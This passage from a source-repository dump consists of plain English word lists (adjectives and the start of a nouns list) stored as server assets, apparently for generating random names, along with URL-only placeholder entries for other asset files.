| wonderful 544 | grand 545 | typical 546 | entire 547 | grey 548 | constant 549 | vast 550 | surprised 551 | ideal 552 | terrible 553 | academic 554 | funny 555 | minor 556 | pleased 557 | severe 558 | ill 559 | corporate 560 | negative 561 | permanent 562 | weak 563 | brown 564 | fundamental 565 | odd 566 | crucial 567 | inner 568 | used 569 | criminal 570 | contemporary 571 | sharp 572 | sick 573 | near 574 | roman 575 | massive 576 | unique 577 | secondary 578 | parliamentary 579 | african 580 | unknown 581 | subsequent 582 | angry 583 | alive 584 | guilty 585 | lucky 586 | enormous 587 | well 588 | communist 589 | yellow 590 | unusual 591 | net 592 | long-term 593 | tough 594 | dear 595 | extensive 596 | glad 597 | remaining 598 | agricultural 599 | alright 600 | healthy 601 | italian 602 | principal 603 | tired 604 | efficient 605 | comfortable 606 | chinese 607 | relative 608 | friendly 609 | conventional 610 | willing 611 | sudden 612 | proposed 613 | voluntary 614 | slight 615 | valuable 616 | dramatic 617 | golden 618 | temporary 619 | federal 620 | keen 621 | flat 622 | silent 623 | indian 624 | video-taped 625 | worried 626 | pale 627 | statutory 628 | welsh 629 | dependent 630 | firm 631 | wet 632 | competitive 633 | armed 634 | radical 635 | outside 636 | acceptable 637 | sensitive 638 | living 639 | pure 640 | global 641 | emotional 642 | sad 643 | secret 644 | rapid 645 | adequate 646 | fixed 647 | sweet 648 | administrative 649 | wooden 650 | remarkable 651 | comprehensive 652 | surprising 653 | solid 654 | rough 655 | mere 656 | mass 657 | brilliant 658 | maximum 659 | absolute 660 | tory 661 | electronic 662 | visual 663 | electric 664 | cool 665 | spanish 666 | literary 667 | continuing 668 | supreme 669 | chemical 670 | genuine 671 | exciting 672 | written 673 | stupid 674 | advanced 675 | extreme 676 | classical 677 | fit 678 | favourite 679 | socialist 680 | widespread 681 | confident 682 | straight 683 | catholic 684 | proud 685 | numerous 686 | opposite 687 | distinct 688 | mad 689 | helpful 690 | given 691 | disabled 692 | consistent 693 | anxious 694 | nervous 695 | awful 696 | stable 697 | constitutional 698 | satisfied 699 | conscious 700 | developing 701 | strategic 702 | holy 703 | smooth 704 | dominant 705 | remote 706 | theoretical 707 | outstanding 708 | pink 709 | pretty 710 | clinical 711 | minimum 712 | honest 713 | impressive 714 | related 715 | residential 716 | extraordinary 717 | plain 718 | visible 719 | accurate 720 | distant 721 | still 722 | greek 723 | complicated 724 | musical 725 | precise 726 | gentle 727 | broken 728 | live 729 | silly 730 | fat 731 | tight 732 | monetary 733 | round 734 | psychological 735 | violent 736 | unemployed 737 | inevitable 738 | junior 739 | sensible 740 | grateful 741 | pleasant 742 | dirty 743 | structural 744 | welcome 745 | so-called 746 | deaf 747 | above 748 | continuous 749 | blind 750 | overseas 751 | mean 752 | entitled 753 | delighted 754 | loose 755 | occasional 756 | evident 757 | desperate 758 | fellow 759 | universal 760 | square 761 | steady 762 | classic 763 | equivalent 764 | intellectual 765 | victorian 766 | level 767 | ultimate 768 | creative 769 | lost 770 | medieval 771 | clever 772 | linguistic 773 | convinced 774 | judicial 775 | raw 776 | sophisticated 777 | asleep 778 | vulnerable 779 | illegal 780 | outer 781 | revolutionary 782 | bitter 783 | changing 784 | australian 785 | native 786 | imperial 787 | strict 788 | wise 789 | informal 790 | flexible 791 | collective 792 | frequent 793 | experimental 794 | spiritual 795 | intense 796 | rational 797 | ethnic 798 | generous 799 | inadequate 800 | prominent 801 | logical 802 | bare 803 | historic 804 | modest 805 | dutch 806 | acute 807 | electrical 808 | valid 809 | weekly 810 | gross 811 | automatic 812 | loud 813 | reliable 814 | mutual 815 | liable 816 | multiple 817 | ruling 818 | curious 819 | arab 820 | sole 821 | jewish 822 | managing 823 | pregnant 824 | latin 825 | nearby 826 | exact 827 | underlying 828 | identical 829 | satisfactory 830 | marginal 831 | distinctive 832 | electoral 833 | urgent 834 | presidential 835 | controversial 836 | oral 837 | everyday 838 | encouraging 839 | organic 840 | continued 841 | expected 842 | statistical 843 | desirable 844 | innocent 845 | improved 846 | exclusive 847 | marked 848 | experienced 849 | unexpected 850 | superb 851 | sheer 852 | disappointed 853 | frightened 854 | full-time 855 | gastric 856 | capitalist 857 | romantic 858 | naked 859 | reluctant 860 | magnificent 861 | convenient 862 | established 863 | closed 864 | uncertain 865 | artificial 866 | diplomatic 867 | tremendous 868 | marine 869 | mechanical 870 | retail 871 | institutional 872 | mixed 873 | required 874 | biological 875 | known 876 | functional 877 | straightforward 878 | superior 879 | digital 880 | part-time 881 | spectacular 882 | unhappy 883 | confused 884 | unfair 885 | aggressive 886 | spare 887 | painful 888 | abstract 889 | asian 890 | associated 891 | legislative 892 | monthly 893 | intelligent 894 | hungry 895 | explicit 896 | nasty 897 | just 898 | faint 899 | coloured 900 | ridiculous 901 | amazing 902 | comparable 903 | successive 904 | working-class 905 | realistic 906 | back 907 | decent 908 | unnecessary 909 | flying 910 | fucking 911 | random 912 | influential 913 | dull 914 | genetic 915 | neat 916 | marvellous 917 | crazy 918 | damp 919 | giant 920 | secure 921 | bottom 922 | skilled 923 | subtle 924 | elegant 925 | brave 926 | lesser 927 | parallel 928 | steep 929 | intensive 930 | casual 931 | tropical 932 | lonely 933 | partial 934 | preliminary 935 | concrete 936 | alleged 937 | assistant 938 | vertical 939 | upset 940 | delicate 941 | mild 942 | occupational 943 | excessive 944 | progressive 945 | iraqi 946 | exceptional 947 | integrated 948 | striking 949 | continental 950 | okay 951 | harsh 952 | combined 953 | fierce 954 | handsome 955 | characteristic 956 | chronic 957 | compulsory 958 | interim 959 | objective 960 | splendid 961 | magic 962 | short-term 963 | systematic 964 | obliged 965 | payable 966 | fun 967 | horrible 968 | primitive 969 | fascinating 970 | ideological 971 | metropolitan 972 | surrounding 973 | estimated 974 | peaceful 975 | premier 976 | operational 977 | technological 978 | kind 979 | advisory 980 | hostile 981 | precious 982 | gay 983 | accessible 984 | determined 985 | excited 986 | impressed 987 | provincial 988 | smart 989 | endless 990 | isolated 991 | post-war 992 | drunk 993 | geographical 994 | like 995 | dynamic 996 | boring 997 | forthcoming 998 | unfortunate 999 | definite 1000 | super 1001 | notable 1002 | indirect 1003 | stiff 1004 | wealthy 1005 | awkward 1006 | lively 1007 | neutral 1008 | artistic 1009 | content 1010 | mature 1011 | colonial 1012 | ambitious 1013 | evil 1014 | magnetic 1015 | verbal 1016 | legitimate 1017 | sympathetic 1018 | well-known 1019 | empirical 1020 | head 1021 | shallow 1022 | vague 1023 | naval 1024 | depressed 1025 | shared 1026 | added 1027 | shocked 1028 | mid 1029 | worthwhile 1030 | qualified 1031 | missing 1032 | blank 1033 | absent 1034 | favourable 1035 | polish 1036 | israeli 1037 | developed 1038 | profound 1039 | representative 1040 | enthusiastic 1041 | dreadful 1042 | rigid 1043 | reduced 1044 | cruel 1045 | coastal 1046 | peculiar 1047 | racial 1048 | ugly 1049 | swiss 1050 | crude 1051 | extended 1052 | selected 1053 | eager 1054 | feminist 1055 | canadian 1056 | bold 1057 | relaxed 1058 | corresponding 1059 | running 1060 | planned 1061 | applicable 1062 | immense 1063 | allied 1064 | comparative 1065 | uncomfortable 1066 | conservation 1067 | productive 1068 | beneficial 1069 | bored 1070 | charming 1071 | minimal 1072 | mobile 1073 | turkish 1074 | orange 1075 | rear 1076 | passive 1077 | suspicious 1078 | overwhelming 1079 | fatal 1080 | resulting 1081 | symbolic 1082 | registered 1083 | neighbouring 1084 | calm 1085 | irrelevant 1086 | patient 1087 | compact 1088 | profitable 1089 | rival 1090 | loyal 1091 | moderate 1092 | distinguished 1093 | interior 1094 | noble 1095 | insufficient 1096 | eligible 1097 | mysterious 1098 | varying 1099 | middle-class 1100 | managerial 1101 | molecular 1102 | olympic 1103 | linear 1104 | prospective 1105 | printed 1106 | parental 1107 | diverse 1108 | elaborate 1109 | furious 1110 | fiscal 1111 | burning 1112 | useless 1113 | semantic 1114 | embarrassed 1115 | inherent 1116 | philosophical 1117 | deliberate 1118 | awake 1119 | variable 1120 | promising 1121 | unpleasant 1122 | varied 1123 | sacred 1124 | selective 1125 | inclined 1126 | tender 1127 | hidden 1128 | worthy 1129 | intermediate 1130 | sound 1131 | protective 1132 | fortunate 1133 | slim 1134 | islamic 1135 | defensive 1136 | divine 1137 | stuck 1138 | driving 1139 | invisible 1140 | misleading 1141 | circular 1142 | mathematical 1143 | inappropriate 1144 | liquid 1145 | persistent 1146 | solar 1147 | doubtful 1148 | manual 1149 | architectural 1150 | intact 1151 | incredible 1152 | devoted 1153 | prior 1154 | tragic 1155 | respectable 1156 | optimistic 1157 | convincing 1158 | unacceptable 1159 | decisive 1160 | competent 1161 | spatial 1162 | respective 1163 | binding 1164 | relieved 1165 | nursing 1166 | toxic 1167 | select 1168 | redundant 1169 | integral 1170 | then 1171 | probable 1172 | amateur 1173 | fond 1174 | passing 1175 | specified 1176 | territorial 1177 | horizontal 1178 | old-fashioned 1179 | inland 1180 | cognitive 1181 | regulatory 1182 | miserable 1183 | resident 1184 | polite 1185 | scared 1186 | marxist 1187 | gothic 1188 | civilian 1189 | instant 1190 | lengthy 1191 | adverse 1192 | korean 1193 | unconscious 1194 | anonymous 1195 | aesthetic 1196 | orthodox 1197 | static 1198 | unaware 1199 | costly 1200 | fantastic 1201 | foolish 1202 | fashionable 1203 | causal 1204 | compatible 1205 | wee 1206 | implicit 1207 | dual 1208 | ok 1209 | cheerful 1210 | subjective 1211 | forward 1212 | surviving 1213 | exotic 1214 | purple 1215 | cautious 1216 | visiting 1217 | aggregate 1218 | ethical 1219 | protestant 1220 | teenage 1221 | large-scale 1222 | dying 1223 | disastrous 1224 | delicious 1225 | confidential 1226 | underground 1227 | thorough 1228 | grim 1229 | autonomous 1230 | atomic 1231 | frozen 1232 | colourful 1233 | injured 1234 | uniform 1235 | ashamed 1236 | glorious 1237 | wicked 1238 | coherent 1239 | rising 1240 | shy 1241 | novel 1242 | balanced 1243 | delightful 1244 | arbitrary 1245 | adjacent 1246 | psychiatric 1247 | worrying 1248 | weird 1249 | unchanged 1250 | rolling 1251 | evolutionary 1252 | intimate 1253 | sporting 1254 | disciplinary 1255 | formidable 1256 | lexical 1257 | noisy 1258 | gradual 1259 | accused 1260 | homeless 1261 | supporting 1262 | coming 1263 | renewed 1264 | excess 1265 | retired 1266 | rubber 1267 | chosen 1268 | outdoor 1269 | embarrassing 1270 | preferred 1271 | bizarre 1272 | appalling 1273 | agreed 1274 | imaginative 1275 | governing 1276 | accepted 1277 | vocational 1278 | palestinian 1279 | mighty 1280 | puzzled 1281 | worldwide 1282 | handicapped 1283 | organisational 1284 | sunny 1285 | eldest 1286 | eventual 1287 | spontaneous 1288 | vivid 1289 | rude 1290 | nineteenth-century 1291 | faithful 1292 | ministerial 1293 | innovative 1294 | controlled 1295 | conceptual 1296 | unwilling 1297 | civic 1298 | meaningful 1299 | disturbing 1300 | alive 1301 | brainy 1302 | breakable 1303 | busy 1304 | careful 1305 | cautious 1306 | clever 1307 | concerned 1308 | crazy 1309 | curious 1310 | dead 1311 | different 1312 | difficult 1313 | doubtful 1314 | easy 1315 | famous 1316 | fragile 1317 | helpful 1318 | helpless 1319 | important 1320 | impossible 1321 | innocent 1322 | inquisitive 1323 | modern 1324 | open 1325 | outstanding 1326 | poor 1327 | powerful 1328 | puzzled 1329 | real 1330 | rich 1331 | shy 1332 | sleepy 1333 | stupid 1334 | super 1335 | tame 1336 | uninterested 1337 | wandering 1338 | wild 1339 | wrong 1340 | adorable 1341 | alert 1342 | average 1343 | beautiful 1344 | blonde 1345 | bloody 1346 | blushing 1347 | bright 1348 | clean 1349 | clear 1350 | cloudy 1351 | colorful 1352 | crowded 1353 | cute 1354 | dark 1355 | drab 1356 | distinct 1357 | dull 1358 | elegant 1359 | fancy 1360 | filthy 1361 | glamorous 1362 | gleaming 1363 | graceful 1364 | grotesque 1365 | homely 1366 | light 1367 | misty 1368 | motionless 1369 | muddy 1370 | plain 1371 | poised 1372 | quaint 1373 | shiny 1374 | smoggy 1375 | sparkling 1376 | spotless 1377 | stormy 1378 | strange 1379 | ugly 1380 | unsightly 1381 | unusual 1382 | bad 1383 | better 1384 | beautiful 1385 | big 1386 | black 1387 | blue 1388 | bright 1389 | clumsy 1390 | crazy 1391 | dizzy 1392 | dull 1393 | fat 1394 | frail 1395 | friendly 1396 | funny 1397 | great 1398 | green 1399 | gigantic 1400 | gorgeous 1401 | grumpy 1402 | handsome 1403 | happy 1404 | horrible 1405 | itchy 1406 | jittery 1407 | jolly 1408 | kind 1409 | long 1410 | lazy 1411 | magnificent 1412 | magenta 1413 | many 1414 | mighty 1415 | mushy 1416 | nasty 1417 | new 1418 | nice 1419 | nosy 1420 | nutty 1421 | nutritious 1422 | odd 1423 | orange 1424 | ordinary 1425 | pretty 1426 | precious 1427 | prickly 1428 | purple 1429 | quaint 1430 | quiet 1431 | quick 1432 | quickest 1433 | rainy 1434 | rare 1435 | ratty 1436 | red 1437 | roasted 1438 | robust 1439 | round 1440 | sad 1441 | scary 1442 | scrawny 1443 | short 1444 | silly 1445 | stingy 1446 | strange 1447 | striped 1448 | spotty 1449 | tart 1450 | tall 1451 | tame 1452 | tan 1453 | tender 1454 | testy 1455 | tricky 1456 | tough 1457 | ugly 1458 | ugliest 1459 | vast 1460 | watery 1461 | wasteful 1462 | wide-eyed 1463 | wonderful 1464 | yellow 1465 | yummy 1466 | zany -------------------------------------------------------------------------------- /server/assets/darwin/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moloch--/rosie/746fc2d8c7e66b2b24a5c54be9b68bbf34bf5931/server/assets/darwin/.gitkeep -------------------------------------------------------------------------------- /server/assets/github.com.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moloch--/rosie/746fc2d8c7e66b2b24a5c54be9b68bbf34bf5931/server/assets/github.com.zip -------------------------------------------------------------------------------- /server/assets/linux/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moloch--/rosie/746fc2d8c7e66b2b24a5c54be9b68bbf34bf5931/server/assets/linux/.gitkeep -------------------------------------------------------------------------------- /server/assets/nouns.txt: -------------------------------------------------------------------------------- 1 | aardvark 2 | abacus 3 | abbey 4 | abdomen 5 | ability 6 | abolishment 7 | abroad 8 | abuse 9 | accelerant 10 | accelerator 11 | access 12 | accident 13 | accommodation 14 | accompanist 15 | accordion 16 | account 17 | accountant 18 | achiever 19 | acid 20 | acknowledgment 21 | acoustic 22 | acoustics 23 | acrylic 24 | act 25 | action 26 | activity 27 | actor 28 | actress 29 | acupuncture 30 | ad 31 | adapter 32 | addiction 33 | addition 34 | address 35 | adjustment 36 | administration 37 | adrenalin 38 | adult 39 | adulthood 40 | advance 41 | advancement 42 | advantage 43 | advertisement 44 | advertising 45 | advice 46 | affair 47 | affect 48 | aftermath 49 | afternoon 50 | aftershave 51 | aftershock 52 | afterthought 53 | age 54 | agency 55 | agenda 56 | agent 57 | aggression 58 | aglet 59 | agreement 60 | aid 61 | air 62 | airbag 63 | airbus 64 | airfare 65 | airforce 66 | airline 67 | airmail 68 | airplane 69 | airport 70 | airship 71 | alarm 72 | alb 73 | albatross 74 | alcohol 75 | alcove 76 | alder 77 | algebra 78 | alibi 79 | allergist 80 | alley 81 | alligator 82 | alloy 83 | almanac 84 | almond 85 | alpaca 86 | alpenglow 87 | alpenhorn 88 | alpha 89 | alphabet 90 | alternative 91 | altitude 92 | alto 93 | aluminium 94 | aluminum 95 | ambassador 96 | ambition 97 | ambulance 98 | amendment 99 | amount 100 | amusement 101 | anagram 102 | analgesia 103 | analog 104 | analogue 105 | analogy 106 | analysis 107 | analyst 108 | anatomy 109 | anesthesiology 110 | anethesiologist 111 | anger 112 | angiosperm 113 | angle 114 | angora 115 | angstrom 116 | anguish 117 | animal 118 | anime 119 | ankle 120 | anklet 121 | annual 122 | anorak 123 | answer 124 | ant 125 | anteater 126 | antechamber 127 | antelope 128 | anthony 129 | anthropology 130 | antler 131 | anxiety 132 | anybody 133 | anything 134 | anywhere 135 | apartment 136 | ape 137 | aperitif 138 | apology 139 | apparatus 140 | apparel 141 | appeal 142 | appearance 143 | appendix 144 | applause 145 | apple 146 | applewood 147 | appliance 148 | application 149 | appointment 150 | approval 151 | apron 152 | apse 153 | aquifer 154 | arch 155 | archaeology 156 | archeology 157 | archer 158 | architect 159 | architecture 160 | arch-rival 161 | area 162 | argument 163 | arithmetic 164 | arm 165 | armadillo 166 | armament 167 | armchair 168 | armoire 169 | armor 170 | arm-rest 171 | army 172 | arrival 173 | arrow 174 | art 175 | artichoke 176 | article 177 | artificer 178 | ascot 179 | ash 180 | ashram 181 | ashtray 182 | aside 183 | ask 184 | asparagus 185 | aspect 186 | asphalt 187 | assignment 188 | assist 189 | assistance 190 | assistant 191 | associate 192 | association 193 | assumption 194 | asterisk 195 | astrakhan 196 | astrolabe 197 | astrologer 198 | astrology 199 | astronomy 200 | atelier 201 | athlete 202 | athletics 203 | atmosphere 204 | atom 205 | atrium 206 | attachment 207 | attack 208 | attempt 209 | attendant 210 | attention 211 | attenuation 212 | attic 213 | attitude 214 | attorney 215 | attraction 216 | audience 217 | auditorium 218 | aunt 219 | author 220 | authorisation 221 | authority 222 | authorization 223 | automaton 224 | avalanche 225 | avenue 226 | average 227 | award 228 | awareness 229 | azimuth 230 | babe 231 | baboon 232 | babushka 233 | baby 234 | back 235 | backbone 236 | backdrop 237 | background 238 | backpack 239 | bacon 240 | bad 241 | badge 242 | badger 243 | bafflement 244 | bag 245 | bagel 246 | baggage 247 | bagpipe 248 | bail 249 | bait 250 | bake 251 | baker 252 | bakery 253 | bakeware 254 | balaclava 255 | balalaika 256 | balance 257 | balcony 258 | ball 259 | ballet 260 | balloon 261 | ballpark 262 | bamboo 263 | banana 264 | band 265 | bandana 266 | bandanna 267 | bandolier 268 | bangle 269 | banjo 270 | bank 271 | bankbook 272 | banker 273 | banquette 274 | baobab 275 | bar 276 | barbeque 277 | barber 278 | barbiturate 279 | barge 280 | baritone 281 | barium 282 | barn 283 | barometer 284 | barracks 285 | barstool 286 | base 287 | baseball 288 | basement 289 | basin 290 | basis 291 | basket 292 | basketball 293 | bass 294 | bassinet 295 | bassoon 296 | bat 297 | bath 298 | bather 299 | bathhouse 300 | bathrobe 301 | bathroom 302 | bathtub 303 | batter 304 | battery 305 | batting 306 | battle 307 | battleship 308 | bay 309 | bayou 310 | beach 311 | bead 312 | beak 313 | beam 314 | bean 315 | beanie 316 | beanstalk 317 | bear 318 | beard 319 | beast 320 | beat 321 | beautiful 322 | beauty 323 | beaver 324 | bed 325 | bedroom 326 | bee 327 | beech 328 | beef 329 | beer 330 | beet 331 | beetle 332 | beggar 333 | beginner 334 | beginning 335 | begonia 336 | behavior 337 | beheading 338 | behest 339 | being 340 | belfry 341 | belief 342 | believe 343 | bell 344 | belligerency 345 | bellows 346 | belly 347 | belt 348 | bench 349 | bend 350 | beneficiary 351 | benefit 352 | bengal 353 | beret 354 | berry 355 | bestseller 356 | best-seller 357 | bet 358 | beverage 359 | beyond 360 | bibliography 361 | bicycle 362 | bid 363 | bidet 364 | bifocals 365 | big 366 | big-rig 367 | bijou 368 | bike 369 | bikini 370 | bill 371 | billboard 372 | bin 373 | biology 374 | biplane 375 | birch 376 | bird 377 | birdbath 378 | birdcage 379 | birdhouse 380 | bird-watcher 381 | birth 382 | birthday 383 | bit 384 | bite 385 | bitter 386 | black 387 | blackberry 388 | blackboard 389 | blackfish 390 | bladder 391 | blade 392 | blame 393 | blank 394 | blanket 395 | blazer 396 | blight 397 | blind 398 | blinker 399 | blister 400 | blizzard 401 | block 402 | blocker 403 | blood 404 | bloodflow 405 | bloom 406 | bloomers 407 | blossom 408 | blouse 409 | blow 410 | blowgun 411 | blowhole 412 | blue 413 | blueberry 414 | boar 415 | board 416 | boat 417 | boat-building 418 | boatload 419 | boatyard 420 | bobcat 421 | body 422 | bog 423 | bolero 424 | bolt 425 | bomb 426 | bomber 427 | bondsman 428 | bone 429 | bongo 430 | bonnet 431 | bonsai 432 | bonus 433 | boogeyman 434 | book 435 | bookcase 436 | bookend 437 | booklet 438 | booster 439 | boot 440 | bootee 441 | bootie 442 | boots 443 | booty 444 | border 445 | bore 446 | bosom 447 | boss 448 | botany 449 | bother 450 | bottle 451 | bottling 452 | bottom 453 | bottom-line 454 | boudoir 455 | bough 456 | boundary 457 | bow 458 | bower 459 | bowl 460 | bowler 461 | bowling 462 | bowtie 463 | box 464 | boxer 465 | boxspring 466 | boy 467 | boyfriend 468 | bra 469 | brace 470 | bracelet 471 | bracket 472 | brain 473 | brake 474 | branch 475 | brand 476 | brandy 477 | brass 478 | brassiere 479 | bratwurst 480 | brave 481 | bread 482 | breadcrumb 483 | break 484 | breakfast 485 | breakpoint 486 | breast 487 | breastplate 488 | breath 489 | breeze 490 | bribery 491 | brick 492 | bricklaying 493 | bridge 494 | brief 495 | briefs 496 | brilliant 497 | british 498 | broad 499 | broccoli 500 | brochure 501 | broiler 502 | broker 503 | brome 504 | bronchitis 505 | bronco 506 | bronze 507 | brooch 508 | brood 509 | brook 510 | broom 511 | brother 512 | brother-in-law 513 | brow 514 | brown 515 | brush 516 | brushfire 517 | brushing 518 | bubble 519 | bucket 520 | buckle 521 | bud 522 | buddy 523 | budget 524 | buffer 525 | buffet 526 | bug 527 | buggy 528 | bugle 529 | building 530 | bulb 531 | bull 532 | bulldozer 533 | bullet 534 | bull-fighter 535 | bumper 536 | bun 537 | bunch 538 | bungalow 539 | bunghole 540 | bunkhouse 541 | burglar 542 | burlesque 543 | burn 544 | burn-out 545 | burst 546 | bus 547 | bush 548 | business 549 | bust 550 | bustle 551 | butane 552 | butcher 553 | butter 554 | button 555 | buy 556 | buyer 557 | buzzard 558 | cabana 559 | cabbage 560 | cabin 561 | cabinet 562 | cable 563 | caboose 564 | cacao 565 | cactus 566 | caddy 567 | cadet 568 | cafe 569 | caftan 570 | cake 571 | calcification 572 | calculation 573 | calculator 574 | calculus 575 | calendar 576 | calf 577 | calico 578 | call 579 | calm 580 | camel 581 | cameo 582 | camera 583 | camp 584 | campaign 585 | campanile 586 | can 587 | canal 588 | cancel 589 | cancer 590 | candelabra 591 | candidate 592 | candle 593 | candy 594 | cane 595 | cannon 596 | canoe 597 | canon 598 | canopy 599 | canteen 600 | canvas 601 | cap 602 | cape 603 | capital 604 | capitulation 605 | capon 606 | cappelletti 607 | cappuccino 608 | captain 609 | caption 610 | car 611 | caravan 612 | carbon 613 | card 614 | cardboard 615 | cardigan 616 | care 617 | career 618 | cargo 619 | carload 620 | carnation 621 | carol 622 | carotene 623 | carp 624 | carpenter 625 | carpet 626 | carport 627 | carriage 628 | carrier 629 | carrot 630 | carry 631 | cart 632 | cartilage 633 | cartload 634 | cartoon 635 | cartridge 636 | cascade 637 | case 638 | casement 639 | cash 640 | cashier 641 | casino 642 | casserole 643 | cassock 644 | cast 645 | castanet 646 | castanets 647 | castle 648 | cat 649 | catacomb 650 | catamaran 651 | catch 652 | category 653 | caterpillar 654 | cathedral 655 | catsup 656 | cattle 657 | cauliflower 658 | cause 659 | caution 660 | cave 661 | c-clamp 662 | cd 663 | ceiling 664 | celebration 665 | celeriac 666 | celery 667 | celeste 668 | cell 669 | cellar 670 | cello 671 | celsius 672 | cement 673 | cemetery 674 | cenotaph 675 | census 676 | cent 677 | center 678 | centimeter 679 | centurion 680 | century 681 | cephalopod 682 | ceramic 683 | cereal 684 | certification 685 | cesspool 686 | chafe 687 | chain 688 | chainstay 689 | chair 690 | chairlift 691 | chairman 692 | chairperson 693 | chaise 694 | chalet 695 | chalice 696 | chalk 697 | challenge 698 | champion 699 | championship 700 | chance 701 | chandelier 702 | change 703 | channel 704 | chaos 705 | chap 706 | chapel 707 | chapter 708 | character 709 | chard 710 | charge 711 | charity 712 | charlatan 713 | charles 714 | charm 715 | chart 716 | chastity 717 | chasuble 718 | chateau 719 | chauffeur 720 | chauvinist 721 | check 722 | checkroom 723 | cheek 724 | cheetah 725 | chef 726 | chemical 727 | chemistry 728 | cheque 729 | cherries 730 | cherry 731 | chess 732 | chest 733 | chick 734 | chicken 735 | chicory 736 | chief 737 | chiffonier 738 | child 739 | childhood 740 | children 741 | chill 742 | chime 743 | chimpanzee 744 | chin 745 | chino 746 | chip 747 | chipmunk 748 | chit-chat 749 | chivalry 750 | chive 751 | chocolate 752 | choice 753 | choker 754 | chop 755 | chopstick 756 | chord 757 | chowder 758 | chrome 759 | chromolithograph 760 | chronograph 761 | chronometer 762 | chub 763 | chug 764 | church 765 | churn 766 | cicada 767 | cigarette 768 | cinema 769 | circle 770 | circulation 771 | circumference 772 | cirrus 773 | citizenship 774 | city 775 | civilisation 776 | claim 777 | clam 778 | clank 779 | clapboard 780 | clarinet 781 | clasp 782 | class 783 | classic 784 | classroom 785 | clause 786 | clave 787 | clavicle 788 | clavier 789 | cleaner 790 | cleat 791 | cleavage 792 | clef 793 | cleric 794 | clerk 795 | click 796 | client 797 | cliff 798 | climate 799 | climb 800 | clip 801 | clipper 802 | cloak 803 | cloakroom 804 | clock 805 | clockwork 806 | clogs 807 | cloister 808 | close 809 | closet 810 | cloth 811 | clothes 812 | clothing 813 | cloud 814 | cloudburst 815 | cloudy 816 | clove 817 | clover 818 | club 819 | clue 820 | clutch 821 | coach 822 | coal 823 | coast 824 | coat 825 | cob 826 | cobweb 827 | cockpit 828 | cockroach 829 | cocktail 830 | cocoa 831 | cod 832 | code 833 | codon 834 | codpiece 835 | coevolution 836 | coffee 837 | coffin 838 | coil 839 | coin 840 | coinsurance 841 | coke 842 | cold 843 | coliseum 844 | collar 845 | collection 846 | college 847 | collision 848 | colloquia 849 | colon 850 | colonisation 851 | colony 852 | color 853 | colt 854 | column 855 | columnist 856 | comb 857 | combat 858 | combination 859 | combine 860 | comfort 861 | comfortable 862 | comic 863 | comma 864 | command 865 | comment 866 | commerce 867 | commercial 868 | commission 869 | committee 870 | common 871 | communicant 872 | communication 873 | community 874 | company 875 | comparison 876 | compassion 877 | competition 878 | competitor 879 | complaint 880 | complement 881 | complex 882 | component 883 | comportment 884 | composer 885 | composition 886 | compost 887 | comprehension 888 | compulsion 889 | computer 890 | comradeship 891 | concentrate 892 | concept 893 | concern 894 | concert 895 | conclusion 896 | concrete 897 | condition 898 | condominium 899 | condor 900 | conductor 901 | cone 902 | confectionery 903 | conference 904 | confidence 905 | confirmation 906 | conflict 907 | confusion 908 | conga 909 | congo 910 | congress 911 | congressman 912 | congressperson 913 | conifer 914 | connection 915 | consent 916 | consequence 917 | consideration 918 | consist 919 | console 920 | consonant 921 | conspirator 922 | constant 923 | constellation 924 | construction 925 | consul 926 | consulate 927 | contact 928 | contact lens 929 | contagion 930 | content 931 | contest 932 | context 933 | continent 934 | contract 935 | contrail 936 | contrary 937 | contribution 938 | control 939 | convection 940 | conversation 941 | convert 942 | convertible 943 | cook 944 | cookie 945 | cooking 946 | coonskin 947 | cope 948 | cop-out 949 | copper 950 | co-producer 951 | copy 952 | copyright 953 | copywriter 954 | cord 955 | corduroy 956 | cork 957 | cormorant 958 | corn 959 | corner 960 | cornerstone 961 | cornet 962 | corral 963 | correspondent 964 | corridor 965 | corruption 966 | corsage 967 | cost 968 | costume 969 | cot 970 | cottage 971 | cotton 972 | couch 973 | cougar 974 | cough 975 | council 976 | councilman 977 | councilor 978 | councilperson 979 | count 980 | counter 981 | counter-force 982 | countess 983 | country 984 | county 985 | couple 986 | courage 987 | course 988 | court 989 | cousin 990 | covariate 991 | cover 992 | coverall 993 | cow 994 | cowbell 995 | cowboy 996 | crab 997 | crack 998 | cracker 999 | crackers 1000 | cradle 1001 | craft 1002 | craftsman 1003 | crash 1004 | crate 1005 | cravat 1006 | craw 1007 | crawdad 1008 | crayfish 1009 | crayon 1010 | crazy 1011 | cream 1012 | creative 1013 | creator 1014 | creature 1015 | creche 1016 | credenza 1017 | credit 1018 | creditor 1019 | creek 1020 | creme brulee 1021 | crest 1022 | crew 1023 | crib 1024 | cribbage 1025 | cricket 1026 | cricketer 1027 | crime 1028 | criminal 1029 | crinoline 1030 | criteria 1031 | criterion 1032 | criticism 1033 | crocodile 1034 | crocus 1035 | croissant 1036 | crook 1037 | crop 1038 | cross 1039 | cross-contamination 1040 | cross-stitch 1041 | crotch 1042 | croup 1043 | crow 1044 | crowd 1045 | crown 1046 | crude 1047 | crush 1048 | cry 1049 | crystallography 1050 | cub 1051 | cuckoo 1052 | cucumber 1053 | cuff-links 1054 | cultivar 1055 | cultivator 1056 | culture 1057 | culvert 1058 | cummerbund 1059 | cup 1060 | cupboard 1061 | cupcake 1062 | cupola 1063 | curio 1064 | curl 1065 | curler 1066 | currency 1067 | current 1068 | cursor 1069 | curtain 1070 | curve 1071 | cushion 1072 | custard 1073 | customer 1074 | cut 1075 | cuticle 1076 | cutlet 1077 | cutover 1078 | cutting 1079 | cyclamen 1080 | cycle 1081 | cyclone 1082 | cylinder 1083 | cymbal 1084 | cymbals 1085 | cynic 1086 | cyst 1087 | cytoplasm 1088 | dad 1089 | daffodil 1090 | dagger 1091 | dahlia 1092 | daisy 1093 | damage 1094 | dame 1095 | dance 1096 | dancer 1097 | dancing 1098 | danger 1099 | daniel 1100 | dare 1101 | dark 1102 | dart 1103 | dash 1104 | dashboard 1105 | data 1106 | database 1107 | date 1108 | daughter 1109 | david 1110 | day 1111 | daybed 1112 | dead 1113 | deadline 1114 | deal 1115 | dealer 1116 | dear 1117 | death 1118 | deathwatch 1119 | debate 1120 | debt 1121 | debtor 1122 | decade 1123 | decimal 1124 | decision 1125 | deck 1126 | declination 1127 | decongestant 1128 | decrease 1129 | decryption 1130 | dedication 1131 | deep 1132 | deer 1133 | defense 1134 | deficit 1135 | definition 1136 | deformation 1137 | degree 1138 | delay 1139 | delete 1140 | delight 1141 | delivery 1142 | demand 1143 | demur 1144 | den 1145 | 